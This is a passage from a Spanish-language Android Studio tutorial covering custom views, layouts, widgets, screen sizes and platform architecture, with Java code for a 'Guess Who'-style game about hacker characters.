setContentView(R.layout.activity_appli);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);

FloatingActionButton fab = (FloatingActionButton)


findViewById(R.id.fab);
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Replace with your own action",
Snackbar.LENGTH_LONG)
.setAction("Action", null).show();
}
});
Principal=(Button)findViewById(R.id.button);
Creador=(Button)findViewById(R.id.button);
Principal.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent nuevoform = new Intent(Appli.this,
Principal.class);
startActivity(nuevoform);
}
});
Creador.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent nuevoform=new Intent(Appli.this,Creador.class);
startActivity(nuevoform);
}
});
}

54
Capítulo 2: Diseño
personalizado de vistas.

55
2.1.- Conceptos básicos

Aunque Android dispone de un amplio abanico de vistas,


crear tus propias vistas puede ser de gran utilidad para
diseñar tus propios controles personalizados.
En muchos tipos de aplicaciones puede ser imprescindible,
por ejemplo, en un juego o cuando tengas que mostrar
información gráfica.
Los objetos view son empleados específicamente para
dibujar contenido en la pantalla del dispositivo Android.
Mientras que puedes instanciar una view en tu código Java,
la forma más sencilla de usarlo, es a través de un archivo de
diseño XML. Puedes ver un ejemplo de esto al crear una
aplicación sencilla de Hola Mundo en Android Studio. El
archivo layout está nombrado como activity_main.xml.

Entrada y Controles:

Algunos objetos view son utilizados para más que


simplemente mostrar contenido a los usuarios. A veces
necesitas recibir algún tipo de input o entrada para controlar
tus aplicaciones. Afortunadamente, Android provee de varias
subclases view específicamente para este propósito.

La clase button es uno de los controles más básicos


disponibles en la app. Escucha los clicks del usuario y llama a
un método en tu código, de forma que puedas responder
apropiadamente.

Las clases switch y checkbox tienen un estado activo e


inactivo entre los que pueden alternarse. Esto es útil para
cambiar los ajustes en una aplicación.

56
Grupos de Vistas o View Groups:

Un viewgroup es un objeto invisible que se usa para contener


otros objetos view y viewgroup con el fin de organizar y
controlar el layout de una pantalla. Los objetos viewgroup son
utilizados para la creación de una jerarquía de objetos view
de modo que pueda crear layouts más complejos. Dicho
esto, cuánto más simple pueda mantenerse un layout, más
simple será el desempeño.

Grupos de vistas:

 LinearLayout
o Agrupa los elementos en una sola línea, que puede
ser vertical u horizontal.
 RelativeLayout
o Los elementos se disponen en relación entre ellos y
los márgenes. Es la más flexible, y la más utilizada.
 ScrollView
o Se utiliza para vistas que no caben en pantalla.
Sólo puede contener una vista o grupo de vistas, y
añade automáticamente las barras de
desplazamiento.
 TableLayout
o Agrupa los elementos en filas y columnas. Contiene
elementos TableRow, que a su vez contienen los
elementos de cada celda.

57
 FrameLayout
o Está pensada para contener una sola vista. Si se
añaden más, todas se alinean en la esquina
superior izquierda, solapándose.
 AbsoluteLayout
o Está desaprobado desde la versión 1.5 de Android.
En este contenedor, los elementos se referencian
con coordenadas absolutas partiendo de la
esquina superior izquierda. Se ha desaprobado
porque no se adapta a pantallas de diferentes
tamaños, que se popularizaron justamente a partir
de Android 1.5.

58
2.2.- Creación de atributos

Veamos los propósitos de los atributos usados con mayor


frecuencia al diseñar un layout:

 layout:height: Representa la dimensión de longitud vertical de


un View. Puedes asignarle valores absolutos en dps, si
dependiendo de las métricas de diseño que tengas o usar los
valores. El primero ajusta la dimensión a las medidas del
contenedor padre y el segundo lo ajusta al contenido del
View.
 layout:width: Representa el ancho de un view.
 layout:layout_margin: Especifica las márgenes del view con
respecto a otros componentes. Podemos definir los valores
individualmente para la margen izquierda, derecha, superior e
inferior. O si deseas puedes especificar un mismo valor para
todos los márgenes.
 layout:alignComponent: Indica la adyacencia de las
márgenes entre componentes. Por ejemplo, esto permitiría
ubicar el margen izquierdo de un botón justo al lado del
margen izquierdo de otro botón. Si en algún momento el botón
cambia entonces su compañero cambiará con él. Este
atributo muestra el poder de un Relative layout.
 layout:alignParent: Con este atributo especificamos que un
view estará ubicado hacia uno de los lados de su padre.
 layout:centerInParent: Permite centrar horizontal y
verticalmente un View con respecto a su padre.
 id: Es un nombre que diferencia los views entre sí. Es de utilidad
cuando vayamos a referenciar los controles en el código Java.
Así que elige nombres representativos y de fácil interpretación.

La forma más recomendable de crear una vasta en Android


es en XML. Trabajando de esta forma podemos usar el editor
visual de layouts para diseñar de forma rápida interfaces de
usuarios. Todas las vistas creadas en el proyecto son añadidas
a la paleta de visas dentro de Custom & Library View. Y
podemos usarlas igual que el resto de vistas.

59
Para poder manejar nuestros propios atributos, debemos
crear un nuevo archivo XML, que contendrá nuestros atributos
personalizados, a los que posteriormente podremos dar un
valor en el archivo XML, en que hagamos uso de nuestro
control personalizado. Este fichero que contendrá los atributos
personalizados es un archivo de recursos, por lo que lo
creamos en la carpeta de values.
Ejemplo:
<resources>

<declare-styleable name="SliderAtributes">
<attr name="android:entries" />
<attr name="onClickPrevButton" format="string" />
<attr name="onClickNextButton" format="string" />
</declare-styleable>

</resources>

Al tener nuestros propios atributos definidos, el siguiente paso


es analizarlos en la clase de uestro control personalizado,
para recoger estos valores y poder utilizarlos en el código. En
primer lugar, vamos añadir a la clase de objetos que contiene
nuestro control personalizado, para posteriormente poder
darle los valores deseados, después en el constructor,
inicializaremos todos los objetos:
Ejemplo:
private TextView tvText;
private Button btPrev, btNext;
// Almacenará los textos que mostraremos en nuestro control
personalizado.
private CharSequence[] entries;

public Slider(Context context, AttributeSet attrs) {


super(context, attrs);

init();
}

60
private void init() {
// En primer lugar inflamos la vista de nuestro control
personalizado. Al método iniflate
// le pasamos el layout de nuestro control, el ViewGroup al
que pertenecerá la vista (this)
// y si se debe añadir a este ViewGroup (en este caso sí).
((LayoutInflater) getContext().getSystemService(
Context.LAYOUT_INFLATER_SERVICE)).inflate(
R.layout.slider_customer_details, this, true);

// Inicializamos nuestros controles.


tvText = (TextView)
findViewById(R.id.tvSliderText_SLIDER_CUSTOMER_DETAILS);
btPrev = (Button)
findViewById(R.id.btPREV_SLIDER_CUSTOMER_DETAILS);
cbtNext = (Button) findViewById(R.id.btNext_SLIDER_CUSTOMER_DETAILS);

“Esto solo son ejemplos no lo vamos a incluir dentro de nuestra


aplicación”.
Cabe mencionar todo esto que está explicando ya lo
realizamos con anterioridad en nuestra aplicación estamos
reforzando los temas y algunos conceptos claves.

61
2.3.- Definición de características Widgets

Framework de aplicaciones: permite el reemplazo y la


reutilización de los componentes.

Navegador integrado: basado en el motor open


Source Webkit.

SQlite: base de datos para almacenamiento estructurado


que se integra directamente con las aplicaciones.

Multimedia: Soporte para medios con formatos comunes de


audio, video e imágenes planas (MPEG4, H.264, MP3, AAC,
AMR, JPG, PNG, GIF).

Widgets:

Los widgets son micro aplicaciones que se despliegan en la


pantalla de tu computador, en una página web o en tu
dispositivo móvil.
Para el caso de Android, son herramientas interactivas que
tienen el objetivo de facilitarte el acceso a ciertas funciones
de las aplicaciones que has descargado en tu celular. Por
ejemplo, si usas Google Fit para contabilizar tu actividad física
diaria, puedes insertar un widget de la aplicación en la
pantalla de inicio y así seguir tu avance sin necesidad de abrir
la aplicación.
Además de los widgets que complementan las aplicaciones
de tu celular, puedes descargar muchos otros en Google Play
Store.
Respecto a los widgets, la lista de los disponibles es muy larga.
Basta con ojear la lista de clases del paquete Android.widget
para ver todas las opciones que disponemos. Aunque hay
que tener en cuenta que no todas las clases de este paquete
son widgets: también se incluyen los diseños y otras clases
complementarias de las que hablaré en su momento como
son los adaptadores o los filtros.

62
Algunos de los widgets que se usan con más frecuencia:

TextView: Permite mostrar una o más líneas de texto en


la pantalla.

EditText: Versión especializada del anterior que permite


editar el texto.

Button: Widget que muestra una imagen con aspecto


de botón presionable y con un texto en su interior. Hay
un widget muy similar, ImageButton, que muestra una
imagen en lugar de un texto.

CheckBox: La típica casilla de verificación, con un texto


y una imagen que cambia para indicar si está
seleccionada o no.

RadioButton: Los botones de radio permiten escoger una


entre múltiples opciones mutuamente excluyentes. Al
igual que el Ckeckbox, el widget incluye un texto y una
imagen que cambia de apariencia en función de si esta
seleccionado o no. Para agruparlos se utiliza
Radiogroup, una versión especializada de LinearLayout.

ImageView: permite mostrar una imagen. Hay otro


widget, Gallery, que permite mostrar varias imágenes en
forma de lista horizontal con desplazamiento.

PorgressBar: Permite mostrar una barra de progreso.


Tiene una especialización que añade un elemento
deslizable a lo largo de la barra que el usuario puede
utilizar para establecer un valor: SeekBar.

ListView: Permite mostrar una lista vertical de elementos


con barra de desplazamiento, siempre y cuando sea
muy necesaria.

Spinner: Es el equivalente Android de las listas de


opciones desplegables, aunque aquí las opciones se
muestran en una actividad.

63
DatePicker y TimePicker: Widgets que permiten
seleccionar una fecha o una hora, respectivamente.
Para seleccionar fechas se ha añadido recientemente a
la API el widget ClendarView, que muestra el típico
calendario y permite seleccionar una fecha sobre él.

Nota:

Como ya lo mencioné antes todo esto ya lo hemos utilizado


en nutra aplicación son conceptos muy necesarios ya básico,
para poder dominar la creación de una aplicación, es
importante leerlos y comprenderlos algunos de ellos ya los
utilizamos y en cuestión con los widgets hay muchísimos, pero
solo se mencionaron lo más comunes.

64
2.4.- Una vista creada desde cero
¿QUÉ ES UN VIEW?
Es un componente que permite controlar la interacción del
usuario con la aplicación. Estos son muy similares a los
controles, como Labels, Buttons, TextFields, Checkboxes, etc.
Los Views son organizados dentro de los Layouts para que el
usuario comprenda los objetivos de la actividad.

Para este tema hare un nuevo proyecto muy sencillo solo


para reforzar un poco más.
Tenemos creado otro proyecto en Android Studio y podemos
ahora ver el entorno para codificar la aplicación:

Android Studio nos genera todos los directorios y archivos


básicos para iniciar nuestro proyecto, los podemos ver en el
lado izquierdo del entorno del desarrollo:

65
La interfaz visual de nuestro programa para Android se
almacena en un archivo XML en la carpeta res, subcarpeta
layout y el archivo se llama activity_main.xml. En esta carpeta
tenemos creada nuestra primera pantalla.
Al seleccionar este archivo el Android Studio nos permite
visualizar el contenido en "Design" o "Text", es decir en vista de
diseño o en vista de código.

Vista de diseño:

66
A partir de la versión 2.2 de Android Studio tenemos la vita
“blueprint” que nos muestra una interfaz simplificada muy útil
cuando tenemos pantallas complejas que veremos más
adelante. Podemos ver solo la vista de diseño o “blueprint”
seleccionando alguno de los botones que aparecen aquí:

Vista de código:

Antes de probar la aplicación en el emulador de un


dispositivo Android procederemos a hacer un pequeño
cambio a la interfaz que aparece en el celular: barraremos la
label que dice “Hello Wordl” y de la Palette arrastramos un
botón al centro del celular y en la ventana de properties
estando seleccionado el botón cambiaremos la propiedad
de text por la cadena “Hola Mundo”:

67
Para ejecutar la aplicación presionamos el triángulo verde o
seleccionamos del menú de opciones Run app y entra
ventana procederemos a dejar seleccionado el emulador por
defecto que aparecerá “Nexus 5X” y presionamos l botón de
OK.
Nota:
Si no se tiene ningún emulador se crea uno.
Es importante tener en cuenta que una vez que el emulador
se ha arrancado no lo debemos cerrar hasta que lo
terminemos de probar, cada vez que hacemos cambios en
nuestra aplicación o codificamos otras aplicaciones lo
cerramos y lo volvemos abrir. Sino al momento que volvemos
a ejecutar la aplicación con los cambios y al estar el
emulador corriendo el tiempo que tarda hasta que aparece
nuestro programa en el emulador es muy reducido.

68
Y por último tendremos nuestra aplicación corriendo.

Como podemos visualizar esto es una breve recopilación de


cómo se maneja Android Studio a lo largo del desarrollo de
nuestra aplicación ya hemos realizado nuevas View que nos
ayudaran a la continuación de nuestra aplicación.
Este uno de los proyectos más básicos que se verá en
cualquier medio de la programación, no se necesitó nada de
programación todo fue gráfico, con el uso de un botón.

69
2.5.- Visualización de tamaños en Android

Desde tu aplicación Android, entrando en cualquier layout en


el que tengas un TextView por ejemplo, haciendo clic en él,
verás la ventana de propiedades abajo a la derecha.
Tienes que buscar la opción de TextSize como vemos en la
siguiente imagen:

Dentro de esta opción, tan solo tendremos que poner el


tamaño de letra que queramos. En nuestro ejemplo, hemos
establecido el tamaño de letra a 21sp. Es un tamaño
interesante para un título principal, no es ni demasiado
grande ni demasiado pequeño. Si cambias aquí el tamaño
de letra, se habrá guardado y se adaptará a cualquier
layout.
¿QUÉ ES UN LAYOUT?
Un layout es un objeto que representa el espacio contenedor
de todas las vistas (Views) dentro de la actividad. En él se
define la estructura y el orden de los elementos para que el
usuario pueda interactuar con la interfaz. Lógicamente se
representan con subclases Java que heredan de la clase
ViewGroup.

Tamaño de la pantalla:

- Tamaño físico real, medido en diagonal de la pantalla.


- Para simplificar, en Android se han dividido todos los

70
tamaños de pantalla reales, en cuatro tamaños
generalizados: small, normal, large, and extra large.

Densidad de pantalla:

La cantidad de píxeles en un área física de la pantalla,


normalmente conocida como dpi (puntos por pulgada). Por
ejemplo, una "baja" densidad de pantalla tiene menos píxeles
dentro de un área física determinada, en comparación con
la densidad de una pantalla "normal" o "de alta densidad".
Para simplificar, los grupos de todas las densidades de
pantalla reales en Android se dividen en cuatro densidades
generalizadas: low, medium, high, and extra high.

Orientación:

La orientación de la pantalla desde el punto de vista del


usuario. Esta es horizontal o vertical, lo que significa que la
relación de aspecto de la pantalla o es de ancho o
alto, respectivamente. Tenga en cuenta que no sólo los
diferentes dispositivos operan en diferentes orientaciones por
defecto, pero puede cambiar la orientación en tiempo de
ejecución cuando el usuario gira el dispositivo. (estas dos
orientaciones son: landscape o portrait).

Resolución:

El número total de pixeles físicos sobre una pantalla. Al añadir


soporte para múltiples pantallas, las aplicaciones no trabajan
directamente con la resolución, las aplicaciones solo deben
estar pensadas para que se vean correctamente según el
tamaño de pantalla y la densidad, según lo especificado
por los tamaños de pantallas generalizados y grupos de
densidades.

Densidad de píxeles Independiente(dp):

Una unidad de pixel virtual que se debe utilizar en la definición


de diseño de la interfaz de usuario, para expresar las

71
dimensiones de diseño o de la posición de una manera
independiente.

El dp es equivalente a un píxel físico en una pantalla de 160


dpi, que es la densidad de línea de base asumida por el
sistema para una pantalla de densidad “mediun”. Durante la
ejecución, el sistema de forma transparente maneja cualquier
ampliación de las unidades dp, según sea necesario, en base
a la densidad real de la pantalla en uso. La conversión de las
unidades de DP a píxeles de la pantalla es simple: px = dp *
(dpi / 160). Por ejemplo, en una pantalla de 240 dpi, un 1 dp es
igual a 1,5 pixeles físicos. Usted siempre debe usar unidades dp
la hora de definir la interfaz de usuario de la aplicación, para
garantizar la correcta visualización de la interfaz de usuario en
las pantallas con diferentes densidades.

Estos son los tamaños que tendrían las pantallas en unidades


dp.

xlarge pantallas de al menos 960dp x 720dp


large pantallas de al menos 640dp x 480dp
normal pantallas de al menos 470dp x 320dp
small pantallas de al menos 426dp x 320dp

72
Ahora en resumen ya tenemos diseñada gran parte de la
estructura de nuestra aplicación con forme vamos
avanzando le daremos mejores toques a la aplicación para
que luzca mejor, ya empezamos con la programación de los
botones y para que nuestra aplicación valla teniendo forma y
una respectiva secuencia.
Es muy importante respetar el código para que pueda
funcionar nuestra aplicación de lo contrario tendrá miles de
errores.
Ahora el siguiente paso va consistir en seleccionar las
imágenes de los Hackers que van están dentro del juego por
mínimo pondremos 6 en mi caso serán 10 imágenes y después
las editaremos para darle un toque especial a nuestro juego.
Las Imágenes que utilizare son las siguientes:

73
74
Ahora una vez que tengo mis imágenes las voy a editar para
que las pueda incluir en la aplicación, hay que tratar de
darles un efecto especial para que se vea lo más real posible
y que se vea interesante nuestro juego:

75
En las imágenes trate de darle forma de sombra y con el
signo de interrogación muy típico del juego de ¿Adivina
quién?, en mi caso son 10 imágenes para mi juego.
Cabe mencionar que todas las imágenes que diseñemos
para nuestra aplicación deben ser del mismo tamaño, para
que no se distorsionen al momento de montarlas en Android
Studio.

76
Ya que tenemos nuestras imágenes preparadas en la venta
de juegar.xml que debería de estar de esta forma, “Imagen
1.57”:

Imagen 1.57, Activity de jugar.xml

Las herramientas que nos proporciona Android Studio son muy


interesantes ya que podemos agregar alguna traducción
adicional a nuestra aplicación, ¿Cómo lo podemos hacer?,
para esto nos vamos a dirigir a la parte de lenguaje, “Imagen
1.58”:

Imagen 1.58, Opción de Lenguaje

77
Le damos clic y nos va a parecer una ventana como esta,
“Imagen 1.59”:

Imagen 1.59, Opción de lenguaje

Que nos indica esta ventana, “Imagen 1.59”, en los activitys


que nosotros creamos nos da la opción de cambiar el
leguaje, si nosotros deseamos hacer la traducción solo basta
con seleccionar el activity y poder el lenguaje que nosotros
deseamos.
En la siguiente imagen podremos observar algunos de los
idiomas con los que podemos disponer, “Imagen 1.60”:

Imagen 1.60, Lenguaje

En mi caso no lo voy hacer, pero tenemos una opción más


para meterle detallitos a nuestra aplicación, en caso de que
hiciera la traducción en la carpeta de res, values, me
parecería otra carpeta de values pero de esta forma si elijo el
idioma francés la carpeta estaría esta forma:
Values.fr

78
Y hay tendremos nuestros string con la respectiva tracción y
esto lo podemos realizar para cualquier activity.
En mi caso solo tengo una carpeta de values, “Imagen 1.61”:

Imagen 1.61, Carpeta de Values

De esta forma es muy práctico por que no tendríamos


barreras con los idiomas podríamos hacer una aplicación con
diversos idiomas y ejecutarla sin ningún problema es una
buena opción por parte de Android Studio.
Ya aclarado esto vamos a continuar con nuestra aplicación
vamos a subir las 10 imágenes editadas para nuestro ¿Adivina
quién?, nos vamos a dirigir a la carpeta de drawable y vamos
a seguir la siguiente ruta, “Imagen 1.62”:

Imagen 1.61, Carpeta de drawable

79
Le damos clic en Show in Explorer y nos aparecerá una
ventana como esta, “Imagen 1.63”:

Imagen 1.62, Carpeta de mipmap-mdpi

Y para ellos vamos a seleccionar la carpeta de mipmap-


mdpi, una vez que la abrimos empezáramos a meter nuestras
10 imágenes quedándonos de tal forma, “Imagen 1.63”:

Imagen 1.63, Imágenes

Como podemos observar en la, “Imagen 1.63”, en la parte


des hasta riba nos muestra la ruta.

80
Y si nos vamos a Android Studio nos aparecerán nuestras 10
Imágenes, “Imagen 1,64”:

Imagen 1.64, Imágenes

Esto es en cuestos a las imágenes con sombra, pero haremos


el mismo paso y pondremos las imágenes que no estén
sombreadas y en total tendremos 20 imágenes en la
plataforma de Android Studio, quedándonos de tal forma,
“Imagen 1.65”:

Imagen 1.65, Imágenes

81
Ahora ya que tenemos todas nuestras imágenes arriba en la
plataforma nos vamos a dirigir al código Java, que en este
caso sería a “Principal” y vamos a hacer lo siguiente,
declararemos dos variables privadas con los 10 nombres de
los hackers, “Imagen 1.66”:
Nota:
Hay que tener en cuenta que en total serian 20 imágenes y
vamos a dividir las dos variables una en nombre_hackers y la
otra, nombre_ sombra:

Imagen 1.66, Código en “Principal”

Ya que tenemos los 20 nombres declarados vamos a declarar


una variable más de tipo entera y a esa le pondremos
intentos y vamos a dar le 3 oportunidades, “Imagen 1.67”:

Imagen 1.67, Código en “Principal”

82
Y también declararemos lo siguiente en la misma ventana
“Principal”, “Imagen 1.68”:

Imagen 1.68, Código en “Principal”

Ahora solo nos queda relacionar las variables, “Imagen 1.69”:

Imagen 1.69, Código en “Principal”

83
Ahora vamos a generar un variable que sea aleatoria y
vamos a declarar otra variable que se llame
numero_generado=0, “Imagen 1.70”:

Imagen 1.70, Código en “Principal”

Y lo relacionamos ahí ya tendremos el número generado,


“Imagen 1.71”:

Imagen 1.71, Código en “Principal”

84
Hace falta el ImageVIew donde vamos a mostrar las
imágenes y de igual forma lo relacionamos, “Imagen 1.72”:

Imagen 1.72, Código en “Principal”

Ahora realizaremos una variable para las imágenes con


sombra que son las que van hacer aleatorias, “Imagen 1.73”:

Imagen 1.73, Código en “Principal”

85
De tal forma que nos quede así todo el código, por ahora a
un nos faltan algunos detalles:

public class Principal extends ActionBarActivity {


private String[ ] nombre_hackers={"Adrian", "Alex", "Chema",
"Kevin", "Michael", "Mike", "Monse", "Nicole","Raul", "Robert"};

private String[ ] nombre_sombra={"Adrian_1", "Alex_1", "Chema_1",


"Kevin_1", "Michael_1", "Mike_1", "Monse_1", "Nicole_1","Raul_1",
"Robert_1"};

private int intentos=3;


private Button aceptar;
private TextView mensaje_intentos;
private TextView usuario_hacker;
private int numero_generado=0;
private ImageView mi_imagen;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_jugar);

aceptar = (Button) findViewById(R.id.aceptar);


mensaje_intentos = (TextView) findViewById(R.id.Intentos);
usuario_hacker = (TextView) findViewById(R.id.Hackers);
numero_generado=generaraletorio();
mi_imagen=(ImageView) findViewById(R.id.imageView);
establecer_sombra(numero_generado);
aceptar.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {

}
});
}
private void establecer_sombra (int numero)
{
int resId= getResources().getIdentifier(nombre_sombra[
numero], "drawable", getPackageName());
mi_imagen.setImageResource(resId);
}
private int generaraletorio()
{
return (int)(Math.random()*nombre_hackers.length);
}
}

Nota:
Como ya se ha dicho antes, es muy importante seguir los
pasos tal y como están.

86
Capítulo 3:
Programación basada
en eventos de
ejecución de usuario.

87
3.1.-La interfaz de usuario de una aplicación Android
La interfaz de usuario de tu app es todo aquello que el
usuario puede ver y todo aquello con lo que este puede
interactuar.

Android ofrece una variedad de componentes de IU


previamente compilados, como objetos de diseño
estructurados y controles de IU que te permiten compilar la
interfaz gráfica de usuario para tu app. Android también
ofrece otros módulos de IU para interfaces especiales, como
diálogos, notificaciones y menús.

Cómo mejorar el rendimiento del diseño:


Los diseños ocupan un lugar clave en las aplicaciones de
Android que influyen directamente en la experiencia del
usuario. Si no implementas tu diseño correctamente, es
posible que la aplicación consuma mucha memoria y las IU
sean lentas. En esta clase verás la manera de evitar esos
problemas.

Diseño para múltiples pantallas:

Android aporta la tecnología de cientos de tipos de


dispositivos con diferentes tamaños de pantallas, que van
desde teléfonos pequeños hasta televisiones grandes. Esta
lección explica cómo implementar una interfaz de usuario
optimizada para diferentes configuraciones de pantalla.

Implementación de la navegación eficiente:

En esta clase, verás la manera de planificar la jerarquía de


pantalla de alto nivel para tu aplicación y elegir las formas
adecuadas de navegación para permitir que tus usuarios
recorran tu contenido de manera eficaz e intuitiva.

88
Esta son algunas Interfaces de diversas compañías telefónicas
y cómo podemos ver la mayoría son igual no cambian
mucho, la intención es hacerlas llamativas.

Características de diseño:

La característica más sobresaliente de la Holo UI es su diseño


oscuro -- el cajón de las aplicaciones, el color de las
notificaciones y el menú de configuración tienen un fondo
negro y texto e iconos en blanco. Casi todo en Holo apunta a
ser sencillo, desde las animaciones cuando deslizas los
paneles de tu pantalla de inicio hasta el tono de las
notificaciones, que viene con dos pantallas: una para
notificaciones y otra para la configuración rápida.

KitKat, la última actualización de Android que lanzó Google


en octubre, presentó algunos elementos nuevos de diseño,
entre los que se encuentran botones de navegación en la
pantalla, el texto es más compacto y los iconos del estado de
la batería y de la conexión Wi-Fi se ven un poco más
modernos. Los iconos tienen una apariencia plana (y no
tridimensional) y se ven más grandes.

Sin embargo, hasta el Android puro varía de dispositivo a


dispositivo. Por ejemplo, a partir del Nexus 5, Google cambió
el diseño nuevamente al agregar iconos más grandes y al
aumentar el énfasis en Google Now.

89
Características especiales:

La función más sobresaliente del Android puro es Google


Search. La barra de búsqueda de Google está en la parte
superior de cada una de las pantallas de inicio (que no
puedes quitar fácilmente). También puedes deslizar el dedo
de arriba hacia abajo de cualquier pantalla de inicio para
activar Google Now.

Y eso es todo, ya que el objetivo de Android es evitar


amontonar muchas funciones en el teléfono. Está a tu criterio
añadir apps o widgets a tu pantalla de inicio.

Android puro es la clara elección porque les ofrece


precisamente lo que creó Google. El diseño es ordenado y
despejado, y todas las funciones que ha lanzado Google con
cada nueva versión de Android funcionan tal y como dicen.
Además, los dispositivos que contienen Android puro, como
los teléfonos y tabletas Nexus, son los primeros en obtener
actualizaciones para las nuevas versiones.

Funciones especiales:

Un "feed" de actualizaciones de Facebook, Twitter, Google+,


Fitbit, Foursquare e Instagram que ocupa toda la pantalla de
inicio. De hecho, puedes configurarla para que se convierta
en tu pantalla de inicio predeterminada. Para visualizarla, sólo
tienes que deslizar tu dedo hacia la derecha.

Aunque disipan la distinción entre software y hardware, los


gestos de activación Motion son otra parte importante de
Sense. Puedes realizar tareas simples en tu teléfono al darle
toquecitos o deslizar los dedos en la pantalla. Por ejemplo,
cuando la pantalla está apagada, dale dos toquecitos para
activarla; con levantar el teléfono y deslizar los dedos a la
derecha podrás inicializar Blinkfeed.

90
Nota:

HTC Sense es la interfaz personalizada de usuarios más social


que hay. Y aprecio el hecho de que te da cierta libertad para
personalizar el aparato. Con Blinkfeed, todas las
actualizaciones de tus cuentas de redes sociales son
organizadas en un menú; y si no lo quieres ver, lo puedes
desactivar fácilmente. Mientras que Sense no ofrece tantas
opciones de personalización como lo hacen otras UI en esta
lista, la verdad es que no las necesito ni las extraño.

A continuación, se va a mostrar un ejemplo de una


aplicación sencilla con los elementos necesarios, y
visualmente se ve muy bien.

91
3.2.-Estructura de la aplicación

Arquitectura de la plataforma:
Android es una pila de software de código abierto basado en
Linux creada para una variedad amplia de dispositivos y
factores de forma. En el siguiente diagrama se muestran los
componentes principales de la plataforma Android.

92
Kernel de Linux:

La base de la plataforma Android es el kernel de Linux. Por


ejemplo, el tiempo de ejecución de Android (ART) se basa en
el kernel de Linux para funcionalidades subyacentes, como la
generación de subprocesos y la administración de memoria
de bajo nivel.
El uso del kernel de Linux permite que Android
aproveche funciones de seguridad claves y, al mismo tiempo,
permite a los fabricantes de dispositivos desarrollar
controladores de hardware para un kernel conocido.

Capa de abstracción de hardware:

La capa de abstracción de hardware brinda interfaces


estándares que exponen las capacidades de hardware del
dispositivo al framework de la Java API de nivel más alto. La
HAL consiste en varios módulos de biblioteca y cada uno de
estos implementa una interfaz para un tipo específico de
componente de hardware, como el módulo de la cámara o
de bluetooth. Cuando el framework de una API realiza una
llamada para acceder a hardware del dispositivo, el sistema
Android carga el módulo de biblioteca para el componente
de hardware en cuestión.

Tiempo de ejecución de Android:

Para los dispositivos con Android 5.0 (nivel de API 21) o


versiones posteriores, cada aplicación ejecuta sus propios
procesos con sus propias instancias del tiempo de ejecución
de Android (ART). El ART está escrito para ejecutar varias
máquinas virtuales en dispositivos de memoria baja
ejecutando archivos DEX, un formato de código de bytes
diseñado especialmente para Android y optimizado para
ocupar un espacio de memoria mínimo. Crea cadenas de
93
herramientas, como Jack, y compila fuentes de Java en
código de bytes DEX que se pueden ejecutar en la
plataforma Android.
Estas son algunas de las funciones principales del ART:
 compilación ahead-of-time (AOT) y just-in-time (JIT);
 recolección de elementos no usados (GC) optimizada;
 mejor compatibilidad con la depuración, como un
generador de perfiles de muestras dedicado, excepciones
de diagnóstico detalladas e informes de fallos, y la
capacidad de establecer puntos de control para controlar
campos específicos.
Antes de Android 5.0 (nivel de API 21), Dalvik era el tiempo de
ejecución del sistema operativo. Si tu app se ejecuta bien en
el ART, también debe funcionar en Dalvik, pero es posible que
no suceda lo contrario.
En Android también se incluye un conjunto de bibliotecas de
tiempo de ejecución centrales que proporcionan la mayor
parte de la funcionalidad del lenguaje de programación
Java; se incluyen algunas funciones del lenguaje Java 8, que
el framework de la Java API usa.

Bibliotecas C/C++ nativas:

Muchos componentes y servicios centrales del sistema


Android, como el ART y la HAL, se basan en código nativo
que requiere bibliotecas nativas escritas en C y C++. La
plataforma Android proporciona la API del framework de
Java para exponer la funcionalidad de algunas de estas
bibliotecas nativas a las apps. Por ejemplo, puedes acceder
a OpenGL ES a través de la Java OpenGL API del framework
de Android para agregar a tu app compatibilidad con los
dibujos y la manipulación de gráficos 2D y 3D.
Si desarrollas una app que requiere C o C++, puedes usar
el NDK de Android para acceder a algunas de estas nativas
directamente desde tu código nativo.
94
Framework de la Java API:

Todo el conjunto de funciones del SO Android está disponible


mediante API escritas en el lenguaje Java. Estas API son los
cimientos que necesitas para crear apps de Android
simplificando la reutilización de componentes del sistema y
servicios centrales y modulares, como los siguientes:
 Un sistema de vista enriquecido y extensible que puedes
usar para compilar la IU de una app; se incluyen listas,
cuadrículas, cuadros de texto, botones e incluso un
navegador web integrable.
 Un administrador de recursos que te brinda acceso a
recursos sin código, como strings localizadas, gráficos y
archivos de diseño.
 Un administrador de notificaciones que permite que todas
las apps muestren alertas personalizadas en la barra de
estado.
 Un administrador de actividad que administra el ciclo de
vida de las apps y proporciona una pila de retroceso de
navegación común.
 Proveedores de contenido que permiten que las apps
accedan a datos desde otras apps, como la app de
Contactos, o compartan sus propios datos.
Los desarrolladores tienen acceso total a las mismas API del
framework que usan las apps del sistema Android.

Aplicaciones del sistema:

En Android se incluye un conjunto de apps centrales para


correo electrónico, mensajería SMS, calendarios, navegación
en Internet y contactos, entre otros elementos. Las apps
incluidas en la plataforma no tienen un estado especial entre
las apps que el usuario elije instalar; por ello, una app externa
se puede convertir en el navegador web, el sistema de
mensajería SMS o, incluso, el teclado predeterminado del

95
usuario (existen algunas excepciones, como la app Settings
del sistema).
Las apps del sistema funcionan como apps para los usuarios y
brindan capacidades claves a las cuales los desarrolladores
pueden acceder desde sus propias apps. Por ejemplo, si en tu
app se intenta entregar un mensaje SMS, no es necesario que
compiles esa funcionalidad tú mismo; como alternativa,
puedes invocar la app de SMS que ya está instalada para
entregar un mensaje al receptor que especifiques.

Ahora explicaremos la estructura de una aplicación Android,


con los archivos y directorios que debemos tener en cuenta al
realizar un proyecto.
src– Aquí van las clases de nuestra aplicación, es decir los
archivos .java.

gen- Son archivos que genera Java y por ninguna razón los
debemos tocar. Si lo hacemos, ya no van a servir y puede
que ni el proyecto sirva para más adelante. Cada vez que
compilamos, Java se encarga de actualizarlo y de generarlo
de nuevo. Dentro de gen encontramos 2 archivos: el
BuildConfig y R. El archivo R es el archivo que tiene los
identificadores de todo lo que tiene la aplicación, por
ejemplo, imágenes, campos de texto, botones, etc. Java le
asigna un identificador y nosotros no tenemos que
preocuparnos por él, ya que le colocamos un nombre común
que podamos recordar y Java sabe cómo se llama para
nosotros.

assets- Este directorio contiene recursos de ayuda para la


